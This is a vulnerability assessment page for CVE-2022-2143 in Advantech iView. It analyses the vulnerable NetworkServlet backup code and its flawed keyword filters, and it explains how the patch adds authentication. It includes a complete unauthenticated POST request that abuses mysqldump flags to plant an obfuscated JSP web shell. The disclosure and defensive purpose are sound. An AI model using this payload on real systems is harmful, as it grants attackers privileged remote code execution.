High
CVE-2022-2143
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below:
Add References:
CVE-2022-2143
MITRE ATT&CK
Collection
Command and Control
Credential Access
Defense Evasion
Discovery
Execution
Exfiltration
Impact
Initial Access
Lateral Movement
Persistence
Privilege Escalation
Topic Tags
Description
The affected product is vulnerable to two instances of command injection, which may allow an attacker to remotely execute arbitrary code.
Add Assessment
Ratings
-
Attacker ValueHigh
-
ExploitabilityHigh
Technical Analysis
An unauthenticated attacker can leverage this command injection vulnerability to gain remote code execution against vulnerable versions of Advantech iView software. The software runs as NT AUTHORITY\SYSTEM
, so this will ultimately give an attacker unauthenticated privileged access with relatively low effort.
The vulnerability lies in the NetworkServlet
database backup functionality:
private boolean backupDatabase(HttpServletRequest request, HttpServletResponse response) { boolean bReturn = false; String strResults = new String(); String strFilename = request.getParameter("backup_filename"); String strExecuteCmd = new String(); String strMySQLPath = new String(); String strDbBackupFilePath = new String(); DBServices tempDBServices = new DBServices(); Process runtimeProcess = null; SystemTable tempSystemTable = new SystemTable(); boolean errFile = false, sqlInj = false; CUtils cutil = new CUtils(); if (strFilename != null && !strFilename.equals("")) errFile = cutil.checkFileNameIncludePath(strFilename); <--- sqlInj = cutil.checkSQLInjection(strFilename); <--- ... return bReturn; }
Two checks are performed on the user-controlled strFileName
variable (backup_filename
in POST). The first check is a test for attempted directory traversal or an attempt to write a file to known executable directories:
public boolean checkFileNameIncludePath(String filename) { boolean result = false; if (filename.contains("../") || filename.contains("/Microsoft/Windows/")) { result = true; } else if (filename.contains("..\\") || filename.contains("\\webapps\\") || filename.contains("\\Apache Software Foundation\\")) { result = true; } if (result) System.out.println("Error: Directory Traversal Vulnerability detected in [" + filename + "]"); return result; }
The second check simply determines whether the strFileName
includes any SQL keywords that would imply a SQL injection attempt. It also checks for attempts at executing arbitrary commands via getRuntime().exec()
:
public boolean checkSQLInjection(String model0) { boolean result = false; String model = model0.toLowerCase(); if (model.contains(" or ") || model.contains("'or ") || model.contains("||") || model.contains("==") || model.contains("--")) { result = true; } else if (model.contains("union") && model.contains("select")) { if (checkCommentStr(model, "union", "select")) result = true; } else if (model.contains("case") && model.contains("when")) { if (checkCommentStr(model, "case", "when")) result = true; } else if (model.contains("into") && model.contains("dumpfile")) { if (checkCommentStr(model, "into", "dumpfile")) result = true; } else if (model.contains("into") && model.contains("outfile")) { if (checkCommentStr(model, "into", "outfile")) result = true; } else if (model.contains(" where ") && model.contains("select ")) { result = true; } else if (model.contains("benchmark")) { result = true; } else if (model.contains("select") && model.contains("from")) { if (checkCommentStr(model, "select", "from")) result = true; } else if (model.contains("select/*")) { result = true; } else if (model.contains("delete") && model.contains("from")) { if (checkCommentStr(model, "delete", "from")) result = true; } else if ((model.contains("drop") && model.contains("table")) || (model.contains("drop") && model.contains("database"))) { if (checkCommentStr(model, "drop", "table")) result = true; if (checkCommentStr(model, "drop", "database")) result = true; } else if (model.contains("sleep(") || model.contains(" rlike ") || model.contains("rlike(") || model.contains(" like ")) { result = true; } else if (model.startsWith("'") && model.endsWith("#") && model.length() > 5) { result = true; } else if ((model.startsWith("9999'") || model.endsWith("#9999") || model.contains("#9999")) && model.length() > 10) { result = true; } else if (model.contains("getRuntime().exec") || model.contains("getruntime().exec") || model.contains("getRuntime()")) { result = true; } if (result) System.out.println("Error: SQL Injection Vulnerability detected in [" + model0 + "]"); return result; }
Returning to backupDatabase()
, as long as the strFileName
variable passes the two above checks it will be used in forming a mysqldump
command which will be executed via Runtime.getRuntime().exec()
. Since the previous sanitization checks didn’t take mysqldump
arguments into account, the -r
and -w
flags can be used for exploitation.
private boolean backupDatabase(HttpServletRequest request, HttpServletResponse response) { ... if (!errFile && !sqlInj) { if (tempDBServices.getMySQLLocation()) { strMySQLPath = tempDBServices.getMySQLPath(); if (tempDBServices.retrieveDbSettings()) { String strUser = tempDBServices.getStrLoginUserID(); String strPassword = tempDBServices.getStrLoginPassword(); if (tempSystemTable.findDbBackupFilePath()) { strDbBackupFilePath = tempSystemTable.getDbBackupFilePath(); strDbBackupFilePath = String.valueOf(strDbBackupFilePath) + strFilename; if (DBServices.OsUtils.isWindows()) { strExecuteCmd = "\"" + strMySQLPath; strExecuteCmd = String.valueOf(strExecuteCmd) + "bin\\mysqldump\" -hlocalhost -u " + strUser + " -p" + strPassword + " --add-drop-database -B iview -r \"" + strDbBackupFilePath + "\""; } try { runtimeProcess = Runtime.getRuntime().exec(strExecuteCmd); ...
The -r
flag designates a file for the output of the mysqldump
command, and the -w
flag allows the user to supply a condition for the command, which will end up in the output file. Given this, an attacker can pass in a jsp stub as the condition, and they will now have the ability to execute code on the target. This can be done with a single POST request (parameters not encoded for readability):
POST /iView3/NetworkServlet HTTP/1.1 Host: 192.168.140.200:8080 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12.2; rv:97.0) Gecko/20100101 Firefox/97.0 Content-Type: application/x-www-form-urlencoded Content-Length: 469 page_action_type=backupDatabase&backup_filename=Qivsaus.sql" -r "./webapps/iView3/ZQmIfz.jsp" -w "<%=new String(com.sun.org.apache.xml.internal.security.utils.JavaUtils.getBytesFromStream((new ProcessBuilder(request.getParameter(new java.lang.String(new byte[]{119,83,97,65,116,110,68,88})),request.getParameter(new java.lang.String(new byte[]{107,88,108,74})),request.getParameter(new java.lang.String(new byte[]{81,72,108,68,101,102}))).start()).getInputStream()))%>"
The patch for this vulnerability makes authentication a requirement for accessing the NetworkServlet
endpoint. Since this vuln is trivial to exploit, I would recommend this one as high priority to patch. Credit goes to y4er for original blog post and PoC
Would you also like to delete your Exploited in the Wild Report?
Delete Assessment Only Delete Assessment and Exploited in the Wild ReportCVSS V3 Severity and Metrics
General Information
Vendors
- advantech
Products
- iview
References
Additional Info
Technical Analysis
Report as Emergent Threat Response
Report as Exploited in the Wild
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below: